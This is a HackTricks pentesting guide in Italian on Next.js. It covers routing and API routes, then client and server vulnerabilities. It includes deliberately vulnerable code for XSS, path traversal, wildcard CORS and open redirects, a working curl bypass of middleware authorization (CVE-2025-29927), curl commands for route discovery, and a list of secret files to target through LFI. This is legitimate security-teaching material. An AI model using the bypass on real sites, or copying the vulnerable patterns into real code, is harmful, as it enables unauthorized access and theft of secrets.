NextJS

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Architettura generale di un’applicazione Next.js

Struttura tipica dei file

Un progetto Next.js standard segue una precisa struttura di file e directory che facilita funzionalità come il routing, gli endpoint API e la gestione degli asset statici. Ecco una disposizione tipica:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Directory e file principali

  • public/: Ospita asset statici come immagini, font e altri file. I file qui sono accessibili al percorso root (/).
  • app/: Directory centrale per le pagine, i layout, i componenti e le API della tua applicazione. Adotta il paradigma App Router, abilitando funzionalità di routing avanzate e la segregazione tra componenti lato server e client.
  • app/layout.tsx: Definisce il layout root dell’applicazione, racchiudendo tutte le pagine e fornendo elementi UI coerenti come header, footer e barre di navigazione.
  • app/page.tsx: Funziona come punto d’ingresso per la route root /, renderizza la home page.
  • app/[route]/page.tsx: Gestisce route statiche e dinamiche. Ogni cartella dentro app/ rappresenta un segmento di route, e page.tsx al suo interno corrisponde al componente della route.
  • app/api/: Contiene API routes, permettendoti di creare serverless functions che gestiscono richieste HTTP. Queste route sostituiscono la tradizionale directory pages/api.
  • app/components/: Ospita componenti React riutilizzabili che possono essere usati in diverse pagine e layout.
  • app/styles/: Contiene file CSS globali e CSS Modules per styling a livello di componente.
  • app/utils/: Include funzioni di utilità, moduli helper e altra logica non-UI condivisibile nell’applicazione.
  • .env.local: Contiene variabili d’ambiente specifiche per l’ambiente di sviluppo locale. Queste variabili non vengono committate nel controllo versione.
  • next.config.js: Personalizza il comportamento di Next.js, incluse configurazioni webpack, variabili d’ambiente e impostazioni di sicurezza.
  • tsconfig.json: Configura le impostazioni di TypeScript per il progetto, abilitando il type checking e altre funzionalità TypeScript.
  • package.json: Gestisce dipendenze del progetto, script e metadata.
  • README.md: Fornisce documentazione e informazioni sul progetto, incluse istruzioni di setup, linee guida d’uso e altri dettagli rilevanti.
  • yarn.lock / package-lock.json: Blocca le dipendenze del progetto a versioni specifiche, garantendo installazioni coerenti tra ambienti.

Lato client in Next.js

Routing basato sui file nella directory app

La directory app è il fulcro del routing nelle ultime versioni di Next.js. Sfrutta il filesystem per definire le route, rendendo la gestione delle route intuitiva e scalabile.

Gestione del percorso root /

Struttura dei file:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

File chiave:

  • app/page.tsx: Gestisce le richieste al percorso root /.
  • app/layout.tsx: Definisce il layout dell’applicazione, che avvolge tutte le pagine.

Implementazione:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Spiegazione:

  • Definizione della rotta: Il file page.tsx direttamente sotto la directory app corrisponde alla route /.
  • Rendering: Questo componente renderizza il contenuto della home page.
  • Integrazione del layout: Il componente HomePage è avvolto da layout.tsx, che può includere intestazioni, piè di pagina e altri elementi comuni.
Gestione di altri percorsi statici

Esempio: rotta /about

Struttura dei file:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementazione:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Spiegazione:

  • Definizione della rotta: Il file page.tsx all’interno della cartella about corrisponde alla rotta /about.
  • Rendering: Questo componente esegue il rendering del contenuto della pagina about.
Rotte dinamiche

Le rotte dinamiche consentono di gestire percorsi con segmenti variabili, permettendo alle applicazioni di mostrare contenuti basati su parametri come ID, slugs, ecc.

Esempio: /posts/[id] Route

Struttura dei file:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementazione:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Spiegazione:

  • Segmento dinamico: [id] indica un segmento dinamico nella route, acquisendo il parametro id dall’URL.
  • Accesso ai parametri: l’oggetto params contiene i parametri dinamici, accessibili all’interno del componente.
  • Corrispondenza della route: Qualsiasi percorso che corrisponde a /posts/*, come /posts/1, /posts/abc, ecc., sarà gestito da questo componente.
Route annidate

Next.js supporta il nested routing, permettendo strutture di route gerarchiche che rispecchiano la struttura delle directory.

Esempio: /dashboard/settings/profile percorso

Struttura dei file:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementazione:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Spiegazione:

  • Annidamento profondo: Il file page.tsx all’interno di dashboard/settings/profile/ corrisponde alla route /dashboard/settings/profile.
  • Rappresentazione della gerarchia: La struttura delle directory rispecchia il percorso URL, migliorando manutenibilità e chiarezza.
Rotte catch-all

Le rotte catch-all gestiscono più segmenti annidati o percorsi sconosciuti, fornendo flessibilità nella gestione delle route.

Esempio: /* Route

Struttura dei file:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementazione:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Spiegazione:

  • Catch-All Segment: [...slug] cattura tutti i segmenti di percorso rimanenti come un array.
  • Usage: Utile per gestire scenari di routing dinamico come percorsi generati dagli utenti, categorie annidate, ecc.
  • Route Matching: Percorsi come /anything/here, /foo/bar/baz, ecc., sono gestiti da questo componente.

Potenziali vulnerabilità lato client

Sebbene Next.js fornisca una base sicura, pratiche di codifica scorrette possono introdurre vulnerabilità. Le principali vulnerabilità lato client includono:

Cross-Site Scripting (XSS)

Gli attacchi XSS si verificano quando script dannosi vengono iniettati in siti web attendibili. Gli attaccanti possono eseguire script nel browser degli utenti, rubare dati o eseguire azioni per conto dell’utente.

Esempio di codice vulnerabile:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Perché è vulnerabile: L’uso di dangerouslySetInnerHTML con input non attendibili permette agli attaccanti di iniettare script dannosi.

Client-Side Template Injection

Si verifica quando gli input degli utenti vengono gestiti in modo improprio nei template, permettendo agli attaccanti di iniettare ed eseguire template o espressioni.

Esempio di codice vulnerabile:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Perché è vulnerabile: Se template o data include contenuto malevolo, può portare all’esecuzione di codice non previsto.

Client Path Traversal

È una vulnerabilità che permette agli attaccanti di manipolare i percorsi lato client per eseguire azioni non previste, come Cross-Site Request Forgery (CSRF). A differenza di server-side path traversal, che prende di mira il filesystem del server, CSPT si concentra sullo sfruttamento di meccanismi lato client per reindirizzare richieste API legittime verso endpoint malevoli.

Esempio di codice vulnerabile:

Un’applicazione Next.js permette agli utenti di caricare e scaricare file. La funzionalità di download è implementata lato client, dove gli utenti possono specificare il percorso del file da scaricare.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Scenario d’attacco

  1. Obiettivo dell’attaccante: eseguire un attacco CSRF per eliminare un file critico (es., admin/config.json) manipolando il filePath.
  2. Sfruttare CSPT:
  • Input malevolo: L’attaccante crea un URL con un filePath manipolato come ../deleteFile/config.json.
  • Chiamata API risultante: Il codice client-side effettua una richiesta a /api/files/../deleteFile/config.json.
  • Gestione lato server: Se il server non valida il filePath, elabora la richiesta, potenzialmente eliminando o esponendo file sensibili.
  1. Esecuzione del CSRF:
  • Link creato: L’attaccante invia alla vittima un link o incorpora uno script malevolo che attiva la richiesta di download con il filePath manipolato.
  • Esito: La vittima esegue inconsapevolmente l’azione, portando ad accesso o eliminazione non autorizzati di file.

Perché è vulnerabile

  • Mancanza di validazione degli input: Il client-side accetta filePath arbitrari, permettendo path traversal.
  • Fidarsi degli input client: L’API lato server si fida e elabora il filePath senza sanitizzazione.
  • Possibili azioni dell’API: Se l’endpoint API esegue azioni che modificano lo stato (es. eliminare, modificare file), può essere sfruttato tramite CSPT.

Ricognizione: scoperta delle route di export statico via _buildManifest

When nextExport/autoExport are true (static export), Next.js espone il buildId nell’HTML e serve un build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Recuperare il buildId dalla risposta root (spesso stampato in fondo) o dai tag <script> che caricano /_next/static/<buildId>/....
  • Recuperare il manifest ed estrarre le route:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Usa i percorsi scoperti (per esempio /docs, /docs/content/examples, /signin) per guidare auth testing e endpoint discovery.

Lato server in Next.js

Server-Side Rendering (SSR)

Le pagine vengono renderizzate sul server ad ogni richiesta, assicurando che l’utente riceva HTML completamente renderizzato. In questo caso dovresti creare un server personalizzato per elaborare le richieste.

Casi d’uso:

  • Contenuti dinamici che cambiano frequentemente.
  • Ottimizzazione SEO, poiché i motori di ricerca possono scansionare la pagina completamente renderizzata.

Implementazione:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Generazione di siti statici (SSG)

Le pagine vengono pre-renderizzate al momento della build, con tempi di caricamento più rapidi e minor carico sul server.

Casi d’uso:

  • Contenuti che non cambiano frequentemente.
  • Blog, documentazione, pagine di marketing.

Implementazione:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Funzioni serverless (API Routes)

Next.js consente la creazione di endpoint API come funzioni serverless. Queste funzioni vengono eseguite on-demand senza la necessità di un server dedicato.

Casi d’uso:

  • Gestire l’invio dei moduli.
  • Interazione con i database.
  • Elaborazione dei dati o integrazione con API di terze parti.

Implementazione:

Con l’introduzione della directory app in Next.js 13, il routing e la gestione delle API sono diventati più flessibili e potenti. Questo approccio moderno si allinea strettamente al sistema di routing basato sui file ma introduce capacità migliorate, incluso il supporto per componenti server e client.

Gestore di route di base

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementazione:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Spiegazione:

  • Posizione: Le API routes sono collocate nella directory app/api/.
  • File Naming: Ogni endpoint API risiede nella propria cartella contenente un file route.js o route.ts.
  • Exported Functions: Invece di un singolo default export, vengono esportate funzioni per metodi HTTP specifici (es., GET, POST).
  • Response Handling: Usa il costruttore Response per restituire le risposte, consentendo un maggiore controllo su header e status code.

Come gestire altri percorsi e metodi:

Gestione di metodi HTTP specifici

Next.js 13+ ti permette di definire gestori per metodi HTTP specifici all’interno dello stesso file route.js o route.ts, promuovendo codice più chiaro e organizzato.

Esempio:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Spiegazione:

  • Esportazioni multiple: Ogni metodo HTTP (GET, PUT, DELETE) ha la propria funzione esportata.
  • Parametri: Il secondo argomento fornisce accesso ai parametri della route tramite params.
  • Risposte avanzate: Maggiore controllo sugli oggetti response, permettendo una gestione precisa di header e status code.
Route catch-all e annidate

Next.js 13+ supporta funzionalità di routing avanzate come le route catch-all e le route API annidate, permettendo strutture API più dinamiche e scalabili.

Esempio di route catch-all:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Spiegazione:

  • Sintassi: [...] indica un segmento catch-all, che cattura tutti i percorsi annidati.
  • Utilizzo: Utile per API che devono gestire profondità di route variabili o segmenti dinamici.

Esempio di route annidate:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Spiegazione:

  • Annidamento profondo: Permette strutture API gerarchiche, che riflettono le relazioni tra le risorse.
  • Accesso ai parametri: Consente di accedere facilmente a più parametri di route tramite l’oggetto params.
Gestione delle route API in Next.js 12 e versioni precedenti

Route API nella directory pages (Next.js 12 e versioni precedenti)

Prima dell’introduzione, da parte di Next.js 13, della directory app e delle funzionalità di routing migliorate, le route API venivano definite principalmente nella directory pages. Questo approccio è ancora ampiamente utilizzato e supportato in Next.js 12 e nelle versioni precedenti.

Route API di base

Struttura dei file:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Implementazione:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Spiegazione:

  • Posizione: Le route API si trovano nella directory pages/api/.
  • Export: Usa export default per definire la funzione handler.
  • Function Signature: La funzione handler riceve gli oggetti req (richiesta HTTP) e res (risposta HTTP).
  • Routing: Il nome del file (hello.js) corrisponde all’endpoint /api/hello.

Route API dinamiche

Struttura dei file:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Implementazione:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Spiegazione:

  • Segmenti Dinamici: Le parentesi quadre ([id].js) indicano segmenti di route dinamici.
  • Accesso ai Parametri: Usa req.query.id per accedere al parametro dinamico.
  • Gestione dei Metodi: Utilizza logica condizionale per gestire diversi metodi HTTP (GET, PUT, DELETE, ecc).

Gestione dei diversi metodi HTTP

Sebbene l’esempio base di API route gestisca tutti i metodi HTTP all’interno di una singola funzione, puoi strutturare il tuo codice per gestire ogni metodo in modo esplicito per una maggiore chiarezza e manutenibilità.

Esempio:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Migliori pratiche:

  • Separazione delle responsabilità: Separa chiaramente la logica per i diversi metodi HTTP.
  • Coerenza delle risposte: Assicurati che le strutture di risposta siano coerenti per facilitare la gestione lato client.
  • Gestione degli errori: Gestisci in modo appropriato i metodi non supportati e gli errori imprevisti.

Configurazione CORS

Controlla quali origini possono accedere alle tue route API, mitigando le vulnerabilità di Cross-Origin Resource Sharing (CORS).

Esempio di configurazione errata:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Nota che CORS può anche essere configurato in tutte le API routes all’interno del file middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problema:

  • Access-Control-Allow-Origin: '*': Permette a qualsiasi sito web di accedere all’API, potenzialmente consentendo a siti malevoli di interagire con la tua API senza restrizioni.
  • Ampia autorizzazione dei metodi: Consentire tutti i metodi può permettere agli attaccanti di eseguire azioni indesiderate.

Come gli attaccanti lo sfruttano:

Gli attaccanti possono creare siti web malevoli che inviano richieste alla tua API, abusando potenzialmente di funzionalità come il recupero dati, la manipolazione dei dati o l’innesco di azioni indesiderate per conto di utenti autenticati.

CORS - Misconfigurations & Bypass

Esposizione del codice server nel lato client

Può essere facile usare codice impiegato dal server anche nel codice esposto e usato dal lato client, il modo migliore per assicurarsi che un file di codice non venga mai esposto nel lato client è usare questa importazione all’inizio del file:

import "server-only"

File chiave e i loro ruoli

middleware.ts / middleware.js

Posizione: Radice del progetto o all’interno di src/.

Scopo: Esegue codice nella funzione serverless lato server prima che una richiesta venga elaborata, permettendo operazioni come autenticazione, reindirizzamenti o la modifica delle risposte.

Flusso di esecuzione:

  1. Richiesta in arrivo: Il middleware intercetta la richiesta.
  2. Elaborazione: Esegue operazioni basate sulla richiesta (es. verifica dell’autenticazione).
  3. Modifica della risposta: Può alterare la risposta o passare il controllo al prossimo handler.

Esempi di utilizzo:

  • Reindirizzare utenti non autenticati.
  • Aggiungere header personalizzati.
  • Registrare le richieste.

Esempio di configurazione:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Se l’autorizzazione è applicata nel middleware, le release di Next.js interessate (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) possono essere aggirate iniettando l’header x-middleware-subrequest. Il framework salterà la ricorsione del middleware e restituirà la pagina protetta.

  • Il comportamento di base è tipicamente un reindirizzamento 307 verso un endpoint di login come /api/auth/signin.
  • Inviare un valore lungo per x-middleware-subrequest (ripetere middleware per raggiungere MAX_RECURSION_DEPTH) per far diventare la risposta 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Poiché le pagine autenticate richiedono molte sotto-risorse, aggiungi l’intestazione a ogni richiesta (es. Burp Match/Replace con una stringa di match vuota) per evitare che gli asset vengano reindirizzati.

next.config.js

Posizione: Radice del progetto.

Scopo: Configura il comportamento di Next.js, abilitando o disabilitando funzionalità, personalizzando le configurazioni di webpack, impostando variabili d’ambiente e configurando diverse funzionalità di sicurezza.

Principali configurazioni di sicurezza:

Intestazioni di sicurezza

Le intestazioni di sicurezza migliorano la sicurezza della tua applicazione istruiendo i browser su come gestire i contenuti. Aiutano a mitigare vari attacchi come Cross-Site Scripting (XSS), Clickjacking e MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Esempi:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Impostazioni di ottimizzazione delle immagini

Next.js ottimizza le immagini per le prestazioni, ma le configurazioni errate possono portare a vulnerabilità di sicurezza, ad esempio consentendo a sorgenti non attendibili di iniettare contenuto malevolo.

Esempio di configurazione errata:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problema:

  • '*': Permette il caricamento di immagini da qualsiasi fonte esterna, inclusi domini non attendibili o dannosi. Gli attaccanti possono ospitare immagini contenenti payload malevoli o contenuti che ingannano gli utenti.
  • Un altro problema potrebbe essere permettere un dominio dove chiunque può caricare un’immagine (come raw.githubusercontent.com)

Come gli attaccanti lo sfruttano:

Iniettando immagini provenienti da fonti malevole, gli attaccanti possono effettuare attacchi di phishing, mostrare informazioni fuorvianti o sfruttare vulnerabilità nelle librerie di rendering delle immagini.

Esposizione delle variabili d'ambiente

Gestire informazioni sensibili come API keys e database credentials in modo sicuro senza esporle al client.

a. Esposizione di variabili sensibili

Esempio di configurazione errata:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

Problema:

  • SECRET_API_KEY: Senza il prefisso NEXT_PUBLIC_, Next.js non espone le variabili al client. Tuttavia, se viene prefissato per errore (es. NEXT_PUBLIC_SECRET_API_KEY), diventa accessibile dal client.

Come gli attaccanti lo sfruttano:

Se variabili sensibili vengono esposte al client, gli attaccanti possono recuperarle ispezionando il codice client-side o le richieste di rete, ottenendo accesso non autorizzato ad APIs, databases o altri servizi.

Reindirizzamenti

Gestisci le redirezioni e le riscritture degli URL nella tua applicazione, assicurandoti che gli utenti vengano indirizzati correttamente senza introdurre open redirect vulnerabilities.

a. Open Redirect Vulnerability

Esempio di configurazione errata:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problema:

  • Destinazione dinamica: Consente agli utenti di specificare qualsiasi URL, abilitando open redirect attacks.
  • Fidarsi dell’input dell’utente: Il reindirizzamento verso URL forniti dagli utenti senza validazione può portare a phishing, malware distribution o credential theft.

Come attackers lo sfruttano:

Attackers possono creare URL che sembrano provenire dal tuo dominio ma reindirizzano gli utenti verso malicious sites. Ad esempio:

https://yourdomain.com/redirect?url=https://malicious-site.com

Gli utenti che si fidano del dominio originale potrebbero inconsapevolmente navigare verso siti dannosi.

Webpack Configuration

Personalizza le configurazioni di Webpack per la tua applicazione Next.js, che possono involontariamente introdurre vulnerabilità di sicurezza se non gestite con cautela.

a. Esposizione di moduli sensibili

Esempio di configurazione errata:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Problema:

  • Esposizione di percorsi sensibili: L’aliasing di directory sensibili e il consentire l’accesso lato client possono causare il leak di informazioni riservate.
  • Bundling Secrets: Se file sensibili vengono inclusi nel bundle per il client, il loro contenuto diventa accessibile tramite source maps o ispezionando il codice lato client.

How attackers abuse it:

Attackers possono accedere o ricostruire la struttura delle directory dell’applicazione, potenzialmente trovando ed exploiting file o dati sensibili.

pages/_app.js e pages/_document.js

pages/_app.js

Scopo: Sovrascrive il componente App predefinito, consentendo stato globale, stili e componenti di layout.

Casi d’uso:

  • Iniettare CSS globale.
  • Aggiungere wrapper di layout.
  • Integrare librerie per la gestione dello stato.

Esempio:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Scopo: Sovrascrive il Document predefinito, consentendo la personalizzazione dei tag HTML e Body.

Casi d’uso:

  • Modifica dei tag <html> o <body>.
  • Aggiunta di meta tag o script personalizzati.
  • Integrazione di font di terze parti.

Esempio:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Server Personalizzato (Opzionale)

Scopo: Sebbene Next.js includa un server integrato, puoi creare un server personalizzato per casi d’uso avanzati come routing personalizzato o l’integrazione con servizi backend esistenti.

Nota: L’uso di un server personalizzato può limitare le opzioni di deployment, specialmente su piattaforme come Vercel che ottimizzano il server integrato di Next.js.

Esempio:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Considerazioni aggiuntive sull’architettura e sulla sicurezza

Variabili d’ambiente e configurazione

Scopo: Gestire informazioni sensibili e impostazioni di configurazione al di fuori del codice.

Buone pratiche:

  • Usa i file .env: Memorizza variabili come chiavi API in .env.local (escluso dal controllo di versione).
  • Accedi alle variabili in modo sicuro: Usa process.env.VARIABLE_NAME per accedere alle variabili d’ambiente.
  • Non esporre mai i segreti al client: Assicurati che le variabili sensibili siano usate solo lato server.

Esempio:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Nota: Per limitare le variabili solo al server, ometterle dall’oggetto env oppure anteporre NEXT_PUBLIC_ per esporle al client.

Artifact utili del server da prendere di mira tramite endpoint LFI/download

Se trovi un path traversal o un’API di download in un’app Next.js, prendi di mira gli artifact compilati che leak i segreti lato server e la logica di autenticazione:

  • .env / .env.local per i segreti di sessione e le credenziali dei provider.
  • .next/routes-manifest.json and .next/build-manifest.json per un elenco completo delle route.
  • .next/server/pages/api/auth/[...nextauth].js per recuperare la configurazione NextAuth compilata (spesso contiene password di fallback quando i valori di process.env non sono impostati).
  • next.config.js / next.config.mjs per rivedere rewrites, redirects e il routing dei middleware.

Autenticazione e Autorizzazione

Approccio:

  • Autenticazione basata su sessione: Usa i cookie per gestire le sessioni utente.
  • Autenticazione basata su token: Implementa JWT per autenticazione senza stato.
  • Provider di terze parti: Integra provider OAuth (es. Google, GitHub) usando librerie come next-auth.

Pratiche di sicurezza:

  • Cookie sicuri: Imposta gli attributi HttpOnly, Secure e SameSite.
  • Hash delle password: Hashare sempre le password prima di salvarle.
  • Validazione degli input: Previeni attacchi di injection validando e sanificando gli input.

Esempio:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Ottimizzazione delle prestazioni

Strategie:

